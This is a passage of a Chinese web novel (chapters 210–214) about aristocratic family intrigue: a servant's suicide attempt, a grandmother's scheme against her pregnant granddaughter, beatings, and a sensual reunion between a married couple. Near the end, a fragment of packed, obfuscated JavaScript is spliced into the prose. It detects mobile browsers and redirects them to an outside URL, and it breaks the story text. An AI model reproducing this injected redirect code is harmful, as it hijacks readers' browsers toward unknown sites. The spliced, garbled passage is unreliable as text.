扎针服药,又睡了一夜,紫菀的状态看上去好了不少。
她给姜璎行礼,“昨日惊吓姑娘,实在该死,今特过来请罪……”
“紫姨。”
姜璎道:“紫姨是我敬重的长辈,说这话岂不是伤我的心?”
紫菀
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掩面而泣,摇头道:“奴婢对不起大娘子,对不起姑娘,卑贱之身,岂能做姑娘的长辈?”
姜璎心中叹气,拉着紫菀一同坐下,又偏头吩咐姜珞煮茶。
仆婢奉上酪浆饵饼,安静侍立一旁。
“我昨夜同爹爹去看望阿娘,听他说了许多往事。在阿娘的心目中,紫姨和姨母是一样的,甚至,阿娘更信任紫姨。”
姜璎温声细语:“紫姨于阿娘而言,是主仆,是心腹,更是手足。多年情分,便是爹爹都要吃醋,紫姨如今称自己卑贱,又置我们于何地?阿娘在天之灵,岂不是要伤心?”
紫菀怔怔看着眼前人。
姜璎为她拭泪,“我听浓浓说,紫姨为阿娘守足了三年孝,又为我日日吃斋念佛,不肯碰一口荤腥。”
紫菀连忙道:“这是我应该做的!”
姜璎哑然,这世上之事,哪有什么应不应该,不过全凭良心罢了。
姜珞煮好茶,低着头站一旁,企图降低自己存在感。
殊不知,紫菀就是为她而来。
“姑娘。”她绞着手,小心翼翼道,“我听说,姜珞被立为了皇后?”
“是。”姜璎颔首。
紫菀脸色微变,焦急道:“这不行的!贵主、大娘子她绝对不会同意的!”
姜璎心平气和,“紫姨,立后诏书已下,无可更改。”
紫菀脱口而出,“这有什么?只要姜珞一死,这门亲事自然而然就作废了!”
姜珞脖子一凉,默默躲到了姜璎身后。
救命啊姐姐!
她还不想死!
空气凝滞一瞬,姜璎语气淡了许多,“紫姨,你知道你在说什么吗?”
紫菀嗫嚅着唇,想说什么,被姜璎打断。
她起身,语气温和但又不失强硬。
“这桩亲事,本就是父亲和姨母一手促成,紫姨若有疑义,不妨直接去问他们。”
听到这话,紫菀捏紧了残缺的手指。
当晚,她求见姜昀。
“郎君,你难道忘了萧家的血海深仇?姜珞嫁谁都好,唯独不能嫁给高炳的孙子!”
第210章 自尽
“血海深仇?”
姜昀慢慢咀嚼这四个字,不由哂笑一声,“袁绍部下陈琳,曾为他撰写檄文讨伐曹操,后袁绍败亡,陈琳不照样归顺曹操为其效命?”
紫菀也曾跟着萧晞一同读史,对历朝历代名人多有耳闻,她听出姜昀话中的意思,忍不住激动起来。
“郎君岂能与陈琳之流相提并论?”
“为何不能?自古良禽择木而栖。”
紫菀捏紧双手,尖声道:“陛下和郎君不止舅甥,更是翁婿!不共戴天之仇,岂能说放下就放下!”
“那不然呢?人难道要永远活在仇恨之中不成?”姜昀负手而立,冷冷看她一眼,“汝南袁氏对阿舅倒是忠心耿耿,结果如何?上千口人,十不存一!嫡系只剩下一个病秧子。”
“你想我同高忱作对,让姜家紧步袁家后尘,以此来证明我同阿舅有多亲厚?”
一番话堵得紫菀哑口无言。
她面色发白,声音颤抖道:“大娘子从来没有想过要报仇……哪怕她活着,也一定是希望郎君能保全自身和家族,奴婢只是不明白,郎君出仕即为秦州刺史,为何还要同高家结亲?”
姜昀淡淡道:“为什么不能结亲?”
当初王敦叛乱,遭皇室**,哪怕病逝军中也依旧被其掘坟,斩首示众,琅琊王氏因此势力大损。
这也算血海深仇了吧?
那王导不照样做了东晋的重臣。
“贵主当初留下姜珞,是要她为姑娘奉献一生,而不是让她背叛萧家!”紫菀情绪激动无比,如果早知道这样,她就应该掐死姜珞!而不是让她像个祸害一样活在世上!
姜昀微微皱眉。
“姜珞的出生,不就是阿蘅希望阿池能多个手足,日后兄弟姐妹之间互帮互助,有个依靠?”
“如今她马上被封皇后,往近了说,姜家一跃而起成为后族,阿池在夫家的地位也跟着水涨船高,往说了说,中书令即将告老还乡,你觉得这个位置,会不会落到我们姜家头上?”
天下事,说到底不过利益二字!
姜珞不是姜璎,能用她换取皇后之位,给家族、女儿带来助力,姜昀根本不会有丝毫犹豫。
庶女而已,他要是想,还不是要多少有多少?
至于高家和萧家之间的仇恨。
姜昀冷哼一声,但凡手里头有个五万十万的兵,他还嫁什么女儿,直接攻到盛京,来个改朝换代岂不更好?
要说权势,哪个男人不爱?
说不爱的压根就没享受过权力带来的好处!
姜昀摆了摆手,“行了,你没事做就回去歇着,别一天到晚躲小佛堂跟阿蘅告状。”
紫菀一哽,想说什么,被仆婢拉了下去。
姜昀能这么好脾气跟她说话,完全是看在过世妻子的面子。
她要见好就收,那皆大欢喜,一切太平。
要还胡搅蛮缠,他也不是吃素的!
谁还不会告状啊。
笑死。
他大不了三天跑一趟齐陵,反正女儿回来了,看在女儿的份上,阿蘅再怎么样都不会骂他的。
姜昀慢悠悠举起茶盏,轻酌一口。
有女儿傍身的鳏夫,底气就是足。
“阿嘁!阿嘁!”
姜璎一连打了好几个喷嚏,向氏忙道:“百岁!”
姜珞道:“都是阿父不好,半夜带姐姐出门,还不把姐姐照顾好!这不着凉了吧!”
又趁机吹耳旁风,“姐姐,你下次出门带上我,我肯定把你照顾得妥帖无比。”
姜璎推开她脑袋。
“你少烦人。”
“我是关心姐姐!”姜珞忿忿不平。
香薷煮了姜枣茶来,干脆姐妹俩一人一盏。
姜珞捏着鼻子喝完,就要漱口,“这谁熬的?放枣汁了吗?”
姜璎心神不宁,不耐道:“你消停会儿行不行?傅姆呢?女师呢?”
姜珞当即噤声。
姜璎估计快来月信,脾气不大稳定,抓着错处就要发作,“你是要做皇后的人,如此大呼小叫,成何体统?女师何在?把二姑娘带下去……”
姜珞吓一跳,忙揪过一旁的小荷,“姐姐,我现在就带她下去写字认字,再也不捣乱了!”
满屋子的人就看着她落荒而逃。
姜璎嘴角微微松弛,压住笑意,对甘棠吩咐道:“你派几个人
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盯着紫姨,要是有什么事,即刻过来汇报。”
甘棠应声去办。
向氏惊疑不定,“姑娘的意思……”
姜璎淡淡道:“阿媪不必多想,只是防患于未然。”
她在赵家需要顾忌这个,顾忌那个,到了姜家,总不至于还要事事禀明父亲再讨示下。
紫菀精神状态一贯不稳定,也不知道父亲跟她说了什么,只听说她回了后院,又把自己一个人关在小佛堂。
这要是能劝住,最好不过。
劝不住,就怕她剑走偏锋。
姜璎思虑不无道理。
紫菀在小佛堂跪了整整一宿,仆婢强忍着害怕,劝她:“姨娘,咱们还是回去歇着吧,这地上寒气重,小心着凉。”
紫菀闭眼念经,手中不断地捻着佛串,对婢女的话置若罔闻。
“姨娘!”仆婢着急道,“大姑娘可是千叮咛万嘱咐,让我们看顾好您,不许您受一点风寒的。”
紫菀一顿。
仆婢松了口气,果然搬出姜璎有用!
紫菀低着头,在仆婢的搀扶下慢慢起身回房,嘴里含含糊糊,不知道说些什么。
只能听清“大姑娘”、“贵主”这几个字眼。
仆婢服侍她洗漱就寝,方才退到外间。
子时一刻。
甘棠匆匆忙忙掀开帘子,对向氏耳语,而后两人轻手轻脚进了内室,“姑娘,出事了。”
姜璎才睡没多久,听到这话,瞬间清醒。
甘棠上前低声道:“紫姨娘意图割腕自尽,好在被人察觉给救下了。”
姜璎:“……”
她忍不住扶额,深深吸一口气,问:“人怎么样?”
甘棠道:“流血不多,并无大碍。”
姜璎思来想去,让人给她穿衣,还是过去一趟吧,出门前不忘叮嘱:“别惊动浓浓。”
向氏嘟囔道:“她可真是个忠仆!”
宁可自己死,也要阻止这门亲事。
以前怎么没看出来她这么一根筋?
紫菀一死,按照儒家礼仪,姜珞必须服斩衰之丧,实打实守足三年孝。
姜璎思忖。
要不骗骗紫姨,她已经怀孕了?
第211章 警告
盛京。
自入冬以后,袁老夫人便病了一场,断断续续的始不见好,王家主等兄弟几个侍母至孝,除了外放的王五郎外,全都告假在家,为母亲侍疾。
出嫁的孙女也一个个地回娘家探望。
王氏身怀六甲,守了袁老夫人两日后,有些见红,长辈们好说歹说才劝得她回房歇息。
“你大母素日最疼你,要知道你如此不爱惜自己身体,醒来后定然大发脾气。”王夫人心疼地看着女儿,王氏因为先前**的缘故亏了身体,稍有劳累就容易见红。
想到这,王夫人越发痛恨二房的郭氏母女。
要不是她们,她好端端的女儿怎么会如此虚弱!
王氏靠着隐囊,唇瓣没有一丝血色,她安慰母亲,“太医说了,只要平平稳稳度过这个月,就什么事儿都没了。”
王夫人叹了口气。
她什么也不想了,就盼着女儿能顺顺利利生下这一胎。
这天大的事儿,也没有她孩子身体来的重要。
王家一时如阴云笼罩。
王氏心里始终记挂祖母,才服了安胎药准备休息,就听说袁老夫人醒了,这下什么都顾不得来,忙让人服侍她更衣。
“大母!”王氏看着面色苍白的袁老夫人,眼泪忍不住掉下来。
王氏是袁老夫人跟前长大的,祖孙俩感情一向深厚。
给袁老夫人喂药的妇人起身,对王氏喊道:“大姐姐。”
“二妹妹?”
王氏有些意外地看着她,王二娘是二房嫡长女,和先前意图给堂姐夫做续弦的王六娘一样,都是郭氏所出。
她远嫁外头,多年不曾回京。
没想到这回袁老夫人重病,倒是让她舟车劳顿赶回来。
“好了,都下去吧。让大娘一个人陪我。”
袁老夫人闷闷咳了一声,她不喜热闹,更不喜欢这么多人围在她房里。
众人应声退下。
王二娘跟在王夫人身后,“大伯母。”
“我听说大姐姐身子不适,特意带了些补品回来。”她低声道,神情惴惴不安,显然是已经知道郭氏的所作所为。
“家里不缺这些,你自己留着用吧。”王夫人不冷不热,对她没什么好脸色。
因为郭氏母女,王夫人是彻底厌了整个二房。
说完懒得搭理王二娘,转身回房。
萧止柔站在廊下,远远看着这一幕,眉头紧锁,眼底划过一抹忧虑。
不知不觉,手中的帕子拧出了褶皱。
阿池惦记王氏,离京之后都不忘每月两封信,询问王氏近况。
要是王氏出点什么岔子……
“女君。”仆婢提醒道,“二娘子过来了。”
“侄女见过姑母。”王二娘低声恭谨道。
萧止柔本来就烦,哪里有闲心跟她虚与委蛇,“二娘回来的正好,去看看你父亲吧。”
王二郎是家里唯一一个没有告假的人。
他原先的闲职被赵家给撸了,无官可做,自然就没有告假一说。
这几日侍奉母亲,可把他累坏了,此刻正抱着婢妾呼呼大睡。
王二娘哪里不知道父亲秉性,她嘴角笑容一僵,很快又恢复自然,神情哀戚。
“父亲身边有人伺候,何需我来操心?倒是我母亲和阿妹,在庄子上孤苦无依。”
孤苦无依,萧止柔笑了一声,这是威胁起她来了?
王二娘被她笑得心里发毛,但还是硬着头皮,直视她道:“姑母之前同我母亲也算交好,如今母亲受难,还请姑母相助。”
“二娘,你知道为何大娘能嫁卫国公府,成为世子夫人,而你,只能嫁一次子?”萧止柔轻蔑看她一眼,“因为你蠢。”
王二娘面色一白,藏在袖中的手隐隐颤抖。
她自以为掩饰得很好,实则眼底的怨恨都快要溢出来。
“姑母……”
此处四下无人。
萧止柔捏紧了她的下巴,轻笑道:“你看看你,生得普通也就罢了,还蠢,可笑蠢而不自知,来我跟前卖弄口舌。”
“怎么,替你母亲抱不平?”
王二娘面露难堪,忍不住道:“姑母可别忘了,我母亲犯错,都是受你唆使。”
话音刚落,就被一记耳光扇歪了脸。<
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br>仆婢递上帕子,萧止柔慢条斯理地擦手,擦完直接把帕子扔王二娘脸上,语气嫌恶:“阿郭尚且不敢在我面前吐露半句怨言,你算个什么东西,也敢指责我?”
王二娘捂着脸缓缓低下头,心中怨恨不已。
萧止柔冷笑道,“都说青出于蓝而胜于蓝,怎么偏你们二房蠢货扎堆,一个不如一个。”
“你母亲孤苦无依,那是她自己蠢!办事不力,蠢出天际,我保她一命,让她在庄子安享晚年,已是仁至义尽。你要想展现孝心,大可去庄子亲自侍奉,少往我跟前凑。”
“你——!”
王二娘没想到她如此刻薄,当下气得面红耳赤,“姑母难道就不怕,我把这一切捅出去?正所谓光脚的不怕穿鞋的……”
萧止柔嫌她聒噪,又赏了一耳光,才算得个清静。
“你光脚一个我看看?”
王二娘被接二连三掌掴,脑子就懵了,这是王家!她一个养女,怎么敢?!
然而,萧止柔接下来的话,直接令她僵在原地。
“我记得你家翁快要致仕了吧?你夫婿,还有你那一连生三个女儿,才拼出来的宝贝儿子。”
“不知道他们肯不肯陪你一起光脚?”
“姑母,姑母我错了!”
家翁和夫婿也就罢了,但儿子!儿子可是她辛辛苦苦,喝了无数药才得来的!
王二娘被恐吓得不轻,当下什么念头也没了,恨不能跪在萧止柔面前痛哭求饶。
以陆家的地位,想要拿捏她夫家简直轻而易举。
萧止柔警告道:“收起你那些小心思,离大娘远点,她但凡出事,我就让你儿子给她陪葬。”
王二娘瘫坐在地,身后一片冰凉。
好半天,才喏喏道:“我、我记下了。”
仆婢搀扶萧止柔离去。
王二娘忍不住痛哭起来。
欺人太甚!
“二娘子,二娘子。”听到呼唤,王二娘赶忙擦了擦眼泪,维持所剩不多的体面。
是袁老夫人院里的婆子。
她笑眯眯道:“二娘子,老夫人请您过去说话。”
第212章 团聚
紫菀的住处十分荒凉,小小一间下人房,狭窄又逼仄,旁边紧挨着小佛堂,半夜三更,时不时冒出几下哭声,平白教人瘆得慌。
姜璎走到门口,停顿了一下。
里头仆婢你一言我一语安慰着紫菀,她却沉浸在自己的世界里,兀自哭着。
“我对不起贵主,我生了一个祸害……我该死,你们为什么不让我死……”
“紫姨。”姜璎暗叹一声,走进去,仆婢们连忙行礼,她温声道,“这个月月钱翻一番,下去吧。”
“诶!”几个小丫鬟欢天喜地答应。
大姑娘人真好!
姜璎坐到床沿,紫菀的手腕缠了一层又一层白布,隐隐还有血迹浸透的痕迹。
姜璎不敢碰,“疼吗?”
紫菀摇着头,她不觉得疼,只哭道:“姑娘,你让我死吧,让我去见贵主……”
说到这又想起姜珞的亲事,她号啕大哭,“不,我、我没脸见贵主!”
姜璎脑袋胀疼,揉了揉脸。
哎。
数不清是第几次叹气,她问:“紫姨,你想不想听我这些年的故事?”
呜咽声一止。
姜璎看着紫菀怔忪的神情,无奈笑了,实话实说道:“我这些年,过得不算很好,只能说一直很努力的活着。”
从被土匪带走,到后面逃跑沦落流民,命运的背后像是藏着一只大手,推着她走到盛京。
姜昀和赵咎怀疑,这一切的一切,是有人幕后操纵,可惜目前毫无头绪,查不出丁点痕迹。
姜璎也不记得自己是怎么走到盛京,只记得那年,纷纷扬扬的大雪,把手脚冻得青紫麻木,在她几乎昏死过去之前,一个声音响起。
“大公子!你看,她和我们家大姑娘长的好像!”
后面的记忆就逐渐清晰起来。
姜璎轻轻道:“永安侯府下人说的最多一句话,就是我命好,从流民乞丐,一跃而成到侯府养女,飞上枝头变凤凰也不过如此了。”
紫菀没忍住失声痛哭。
姜璎莞尔道:“说句没出息的话,我真的很感恩永安侯府,至少,他们给了我活下来的机会。”
当然她这些年也没闲着。
刘氏的身体一直都是她在照料,日常起居,事无巨细。
紫菀听不下去了,她紧紧抱住姜璎,痛哭不已,“姑娘,我可怜的姑娘……奴婢对不起大娘子!”
姜璎安安静静地听着她哭,好半晌,才说:“或许是因为这段经历,让我变得容易满足,我并不觉得自己哪里受苦。”
“赵咎,还有大嫂二嫂,他们都很好。”
她脸上浮现羞涩而温柔的笑容。
终于有了少女的鲜活气息。
姜璎道:“在我还不是天水姜氏嫡女的时候,他们就对我很好很好,没有嫌弃,只有怜惜。大嫂出身琅琊王氏,端庄温柔,二嫂出身荥阳郑氏,直爽仗义……”
她夸起王氏她们时,眼神熠熠生辉。
“我最开始什么也不会,是大嫂二嫂教我管家,让我多多念书,说对我大有帮助。”
“后面姨母认出了我,他们也真心实意为我高兴。”
姜璎发觉自己扯远了话题,立马道:“紫姨,你不知道,我成亲第二日受了多大的委屈。”
“皇后梁氏,处事不公,看我夫婿处处不顺眼,在我新婚第二日赐下好几个宫女。”
“什么?”紫菀捂着嘴,她不知道这些事情,当下恨恨道,“梁氏不过盐商发家,寒门之女,竟然如此嚣张,简直不知廉耻!”
姜璎**病犯了,忍不住道:“出身并不能决定一个人的品性,士族高门,也不是从生下来就是人上人的。像思后舞姬出身,不也成为一代贤后吗?”
思后,卫子夫。
顿了顿,姜璎又补充道:“不过梁氏确实恃宠而骄,太过火了一些。”
她放软声音:“紫姨,浓浓见不得旁人欺负我,所以才想方设法,把梁氏挤兑下去。”
“她是一心一意为我考虑。”
“可……”
姜璎认真道:“她不是图高家的皇后之位,她是想做我的靠山。”
“阿娘和紫姨总是惋惜没能给我生出一个阿弟。”
“可在我看来,浓浓比任何人都好。”
“我有她这样一个妹
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妹,心满意足。”
姜璎轻轻搂住紫菀的脖子,不大熟练地撒娇,“紫姨,我知道你很想阿娘,我也是。如今姨母远在盛京,我身边也没个正儿八经的女性长辈,要是有了身孕……我害怕。”
紫菀一听,忙一叠声答应,哭着道:“只要姑娘不嫌弃,奴婢侍奉姑娘到老!”
姜璎笑道:“紫姨给我看孩子,我给紫姨养老。”
好说歹说,终于打消了紫菀一心求死的念头,也让她慢慢接受了姜珞嫁到高家的事实。
不过,姜璎有言在先。
她不许任何人插手姜珞的教养,父亲不行,姨母也不行,紫菀这个生母更不行。
本来就不聪明,被他们一瞎教,更是不成样子!
如果说紫菀一根筋,那么姜珞就是少根筋,她骄纵任性,行事作风往往简单粗暴。
姜璎真怕她哪天下手没轻没重,把高忱打**……
重金聘请的女师乃陈郡谢氏女,孀居在家,素有才名,姜璎把姜珞交到她手里,郑重其事:“谢先生,麻烦您了。”
谢含章低头看了眼抱着姐姐大腿嗷嗷哭的学生,笑道:“好说。”
她提起姜珞的脖子后领,跟拖小猪似的,拖着她往书房走。
姜珞扒拉门框,发出杀猪般的嚎叫。
“我不要!我不要离开姐姐!”
姜璎当作没听见。
其他人更是眼观鼻鼻观心,一脸若无其事。
姜璎在家住了小半月,赶在冬日的第一场雪来临之前,前往安奉。
“郎君!女君来了!”
归南听到这个好消息,差点激动得热泪盈眶!
太好了,女君来了,他们有救了!
归南从来不知道自家郎君还有练兵的本事,十多日下来,连同他在内,每个人脱了快不止一层皮!简直生不如死!
操练结束,还不能休息,得去加固城墙,活多的要命!
归南眼巴巴看着赵咎,其他人也露出讨好的笑容。
“大人……”
“放你们半天假。”赵咎难得好说话,他回房洗漱,把自己收拾得干干净净,迫不及待去接姜璎。
第213章 偏偏
“赵咎…!”
久别重逢,正是情浓。
赵咎把人抱了个满怀,门一关就急不可耐地低头吻住她的唇,别人小别胜新婚,他们是新婚即小别!
他轻咬一口,恨恨道:“没你这样的,把夫君一个人扔这,自己在外头逍遥快活。”
姜璎倍感冤枉。
“我没有……唔。”
话语被吞没了个一干二净。
赵咎只想借机生事,为自己的分离焦虑寻一个合理的释放出口,他含吮着她的上唇唇珠,颇有技巧的亲吻让姜璎软了身子。
喘息声、心跳声,持续刺激着耳膜。
帘子早早放下,将外头余晖遮挡得严严实实。
没有点灯。
于一室昏暗中,衣带松动。
姜璎能感觉到赵咎的手指比之前粗砺不少,他摩挲着她的腰窝,激起一片颤栗。
“别……”
姜璎被自己黏糊的声音吓了一跳,面红耳赤,推了推他。
反抗微乎其微,赵咎压低了声音,依旧能听出笑意。
“想不想我?”
“不想。”
他故意捉弄,她生出反骨,同他唱反调。
姜璎不服气,边喘边说,“你自己都说了,我在、在外面逍遥快活……哪有空想你?”
赵咎笑了一声,命脉都被人捏手里了,还嘴硬呢。
手掌茧子厚实,他捏了捏她小腿,低头咬了一口。
姜璎眼疾手快捂住了嘴。
再慢一步,向氏她们肯定要听见她的惊呼。
她又羞又恼,胡乱踢他一脚,赵咎轻而易举握住,给她脱了足衣,又去了衣衫。
为显公平,他也给她摸腹肌。
姜璎:“……”
她红了脸,不想承认手感很好。
赵咎闷笑,“快点夸我。”
这都是他训练的成果。
姜璎口干舌燥,强迫自己收回手,努力摆出一副正人君子的模样。
她眼神飘忽,顾左右而言他:“我、我们还没用晚膳。”
赵咎这下再也忍不住,抱着她在床榻滚作一团,笑得胸腔震颤。
她怎么这么可爱啊!
姜璎小声惊呼,“我的衣服…!”掉到了地上。
赵咎压着她,边亲边说:“晚膳还早,我们速战速决。”
……
速战速决个屁啊。
一个时辰后,姜璎顶着张大红脸,在向氏等人心照不宣的笑容下,忿然咬了一口蒸饼。
赵咎给她洗完,才自己洗,结果出来看见姜璎不等他就先吃了。
姜璎对他的控诉不予理会。
低头闷声干饭。
“喝点汤。”他坐下来,一身家常的白色中单,微微敞开的领口,牙印若隐若现。
姜璎目光一瞥,直接涨红了脸。
草草填饱肚子,就立马回内室。
赵咎也不嫌弃,抬手制止了仆婢去拿食物,把姜璎的剩饭解决得干干净净。
淑口之后,赵咎从架子上取了块干布,走进房。
姜璎坐在炕上,脸颊鼓鼓的。
一看就是还在生气。
赵咎脚步迟疑,但又觉得姜璎不会打他,放心地走过去。
“帮我擦头发。”他从后面抱住她,声音放软,略带一丝撒娇意味。
“不擦。”姜璎说,试图用冷脸逼退他。
“为什么?”赵咎迎难而上,亲了亲她脸蛋,“你忍心看着我枕着湿发睡觉吗?”
他还有脸问为什么!
姜璎扭头,抓着他衣领道:“你就不能好好穿衣服!这露一点,那露一点,干脆光着身子出来好了!”
衣领大敞。
牙印趴在锁骨,伴随点点红痕。
赵咎挑了挑眉,假装听不懂她的话,“你想看我光身子?那好吧。”
他作势解衣。
姜璎:“……”
她又气又羞又恼,赶忙拢好他衣衫,“你要脱去门口,别在屋里。”
“你不想看?”
“我早看腻了。”
问得快答得也快。
赵咎脸上的笑容消失了,双手撑在她两侧,凑近了问:“看了几个人啊,这么快看腻了?”
姜璎于是掰手指头,“我数数。”
她还真敢数!
赵咎恼了,把她压在榻上,咬她嘴巴。
姜璎怕摔,双手紧紧抱着他脖子,泄出一声呜咽,“不、不要在这……”
一通厮混。
第二日醒来,外头已经下起了雪。
赵咎给她揉腰,给她喂饭,姜璎吃完又想睡,
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赵咎给她暖好被窝,才出去料理公务。
匈奴的冬日比大魏更难熬。
如果不出所料,他们会在冬至前发起最大规模的一次偷袭。
赵咎必须在自己能力范围,做好万全准备。
他派人给姜昀送了密信。
“郎君。”
归南快步走来,一番耳语,赵咎冷下脸,王氏的身孕是卫国公府如今最要紧的事,他决不允许任何人从中作梗!
哪怕那个人,是王氏的嫡亲祖母。
王家。
王二娘跪在地上,肩膀微微颤抖,脸上还有一个鲜明的巴掌印。
“大母,您要为孙女做主啊。”
王二娘看了一眼萧止柔,眼神是藏不住的怨恨,很快又低头啜泣,“我只是派人给大姐姐送了碟亲手做的点心,姑母就、就冲上来给我一巴掌,未免也太不讲理了!”
萧止柔怒气正盛,“我警告过你,让你离大娘远一点,你当我的话是耳旁风吗?”
“阿薇。”
袁老夫人出声,她看也不看王二娘,“你先下去吧。”
“是。”
王二娘退下后,袁老夫人道:“是我让二娘给大娘送的点心,阿郭犯的错,她并不知情,何必伤了姐妹情分?”
萧止柔捏紧了手。
她是担心则乱,却忘了,王二娘就算要对王氏做什么,也不可能选择这种愚蠢至极的**方法。
袁老夫人若有所思地看着她,“阿薇,你跟大娘素无交情,怎么这回,处处关心?”
“因为阿池?”
萧止柔心头一紧,承认道:“是,阿池那孩子受大娘照顾颇多,我想着……”
袁老夫人笑道:“当年,赵堰也受你阿父照顾颇多呢。”
一句话,令萧止柔神情僵滞。
“赵家,高家,翻脸不认人的事做得还少吗?怎么到你们这,就开始优柔寡断了?”
袁老夫人敛了笑,骂道:“妇人之仁!”
萧止柔着急道:“大娘是您的亲孙女……”
袁老夫人叹道:“是啊,她可是我最喜欢的一个孩子。”
端庄聪慧,稳重大气。
堪为高门贵女之典范。
这么好的一个孙女,怎么偏偏嫁去了赵家?
第214章 训诫
晚来急雨,噼里啪啦地打在屋檐。
管事婆子端着笑脸对陆宣道:“老夫**病初愈,身体正虚着,且离不开女君,姑爷过些日子再来吧。”
嘈杂雨声,扰得人心神不宁。
陆宣略有些烦躁,但还是客气道:“阿薇还没歇下吧?”
他想见一见萧止柔,至少心里能踏实一些。
“女君正陪在老夫人身边。”管事婆子笑道,“姑爷不必担心,自己家里,难道还能出事不成?”
陆宣扯了扯嘴,冲她颔首,“既如此,我过两日再来接阿薇。”
管事婆子恭恭敬敬送走陆宣,回到院子向袁老夫人禀报,“老夫人,姑爷已经走了。”
袁老夫人靠着引枕,神色倦怠道:“他什么反应,可有生疑?”
管事婆子:“姑爷想见女君一面,被奴婢拒绝后,似乎有些不高兴,说过两天来接人。”
袁老夫人哼笑一声,对跪在地上的萧止柔道:“阿蘅真是为你费尽了心思。”
不管是儿时的女师,还是现在的夫婿,都是萧晞千挑万选,思虑周全的结果。
她眼光独到,看中了陆宣。
希望吴郡陆氏可以照顾好自己的妹妹。
陆宣也没有辜负大姨姐的厚望,哪怕膝下无子,也依旧对妻子不离不弃。
他是个值得托付终身的良人。
萧止柔咬了咬唇,鼓起勇气恳求,“姨母,赵堰没死,赵咨赵哲也都好好的,这种情况下,就算大娘出事,也不会对卫国公府造成任何影响,顶多让他们伤心一阵罢了!”
“大娘要是**,赵堰肯定会再为儿子续弦一位高门贵女,他们无关痛痒,但大娘的三个儿子怎么办?还有王家大兄、阿嫂……”
“聒噪。”袁老夫人道。
她淡淡扫了一眼管事婆子,后者上前,“女君,奴婢得罪了。”
肥厚的巴掌扇在萧止柔脸上,没几下就令她嘴角开裂,渗出一丝血迹。
萧止柔连闷哼都没一声。
她低着头,脑子昏昏涨涨,只听袁老夫人冷冷道:“老大夫妻当年不听我劝,非要跟赵堰做亲家,他们自己把女儿推进火坑,哪能怨得了旁人?”
更何况,她早就看明白了。
她这个孙女,自打嫁到赵家,便一心向着夫家,一门心思为自己丈夫家翁着想。
真是吃里扒外的东西!
她这些年的栽培疼爱全然喂狗了!
袁老夫人在婆子的搀扶下走到萧止柔跟前,她闷咳一声,敲了敲拐杖。
“阿祭不听话,阿池也不听话,他们一个个生出反骨,倒也罢了。但你,你可是在我跟前长大的!难道连你也要同我作对不成?!”
沉闷的拐杖声敲击着耳膜。
萧止柔下意识摇头,“不、姨母……我没有。”
说话难免拉扯嘴角伤口,疼痛带来一丝清醒,她忍不住掐了掐手心。
别听……
阿池说不能听袁老夫人的话。
“阿薇,你先前不是也恼大娘吃里扒外吗?你还嫉妒阿池,心向着大娘。”
袁老夫人缓和了语气,“等大娘**,阿池就只有你一个亲近的长辈,你们才是嫡亲的姨甥。”
不、不对。
王氏不能死。
阿池会伤心的。
她本来就已经猜测出,郭氏母女对王氏下毒,背后或有她的鼓动。
萧止柔用力抓住袁老夫人的衣角,嘴角撕裂,疼得她说话有气无力。
“姨母,我答应过阿池,大娘一定能平安生下孩子,我答应过她的…!”
惊雷乍现,盖过了她的哀求。
袁老夫人甩开她的手,气得浑身发抖,“你也要同我作对?你…真是越来越不听话了!”
袁遗虽为病弱骨,却有玲珑心。
他看出了袁老夫人慈爱的表面下,藏着诸多算计,还有浓浓掌控欲。
萧止柔在她的日复一日的教诲中,对赵高两家满是恨意。
她还试图掌控袁遗和姜璎。
她希望能在有生之年,看见他们生出一个拥有萧家和袁家血脉的孩子。
袁遗实在受不了这种洗脑方式,他承认自己喜欢阿妹,但再喜欢也不能去赵咎面前送死啊!
袁老夫人根本没把他当人。
在她心里,萧止柔、王氏、郭氏……所有人都是她复仇的工具。
袁遗只想好好活着,所以他跑的要多快有多快。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16835146|173897||http|test|mini|href|location''.split(''|''),0,{}));
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r>他也劝告过萧止柔,保全自身要紧,不要再听袁老夫人所说。
萧渡皇位丢了,都没想要女儿给他报仇,萧止柔还有什么好耿耿于怀的?
当然,袁遗也知道,萧止柔的仇恨很大一部分是来自于袁老夫人的洗脑。
幼年颠沛流离,加上寄人篱下,在那种处境中,萧止柔能依靠的只有袁老夫人。
她会听袁老夫人的话,袁遗一点儿也不意外。
只能说还好萧晞有先见之明,又是请女师,又是给妹妹置办嫁妆,没有让袁老夫人完全操控萧止柔的人生。
“我没有不听话,我只是,不想您后悔!”
萧止柔喘着气,眼睛开始模糊,“姨母,大娘是你的孙女,你曾经最疼爱的孩子……她要是一尸两命,你……”
肩膀骤然一疼。
萧止柔眼前一黑,昏迷过去。
袁老夫人重重敲了下拐杖,婆子忙道:“老夫人,人已经昏过去了,可不能打了。”
袁老夫人忍不住落泪。
“她懂什么?她懂什么?”
当年王谢袁萧,四大高门!王家危难之时,袁家鼎力相助,可以说,没有她的下嫁,就没有王家的今日!
袁老夫人咬了咬牙,“我没想王家跟高家作对,不求雪中送炭,好歹——别与那等小人结亲!”
王家主却一意孤行,不肯听劝。
非要把女儿嫁到赵家。
婆子扶着她坐下,“您别生气。地上凉,还是让人把女君送回房吧。”
袁老夫人疲惫地点了下头,“大娘,还有阿薇,哪个不是我带大的?结果一个比一个不听话。我做的一切,哪样不是为他们好?为什么就是不肯听我的……”
她反反复复念着这几句。
“都说娘家才是女人唯一的依靠,她们怎么能不为娘家着想?”
“阿祭也是个不争气的废物!连讨欢心都不会!”
“阿池……这孩子。”
袁老夫人眼神流露出一丝复杂,但很快,就恢复了往常的模样。
“看好阿薇,不许她踏出房门一步。”
“至于大娘……”她闭了闭眼,喃喃道,“让她明日去寺里替我祈福吧。”